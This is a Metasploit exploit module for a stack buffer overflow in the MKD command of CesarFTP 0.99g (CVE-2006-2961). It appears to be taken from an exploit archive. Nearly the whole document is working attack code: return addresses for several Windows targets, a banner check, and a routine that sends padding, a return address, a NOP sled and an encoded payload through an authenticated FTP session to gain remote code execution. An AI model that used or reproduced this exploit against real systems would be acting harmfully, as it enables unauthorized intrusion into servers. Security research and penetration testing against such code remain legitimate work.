CesarFTP 0.99g – ‘MKD’ Remote Buffer Overflow (Metasploit) (2)
## # $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g. You must have valid credentials to trigger this vulnerability. Also, you only get one chance, so choose your target carefully. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 11799 $', 'References' => [ [ 'CVE', '2006-2961'], [ 'OSVDB', '26364'], [ 'BID', '18586'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'Compat' => { 'SymbolLookup' => 'ws2ord', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ], [ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll #[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll #[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /CesarFTP 0\.99g/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login sploit = "\n" * 671 + rand_text_english(3, payload_badchars) sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded print_status("Trying target #{target.name}...") send_cmd( ['MKD', sploit] , false) handler disconnect end end |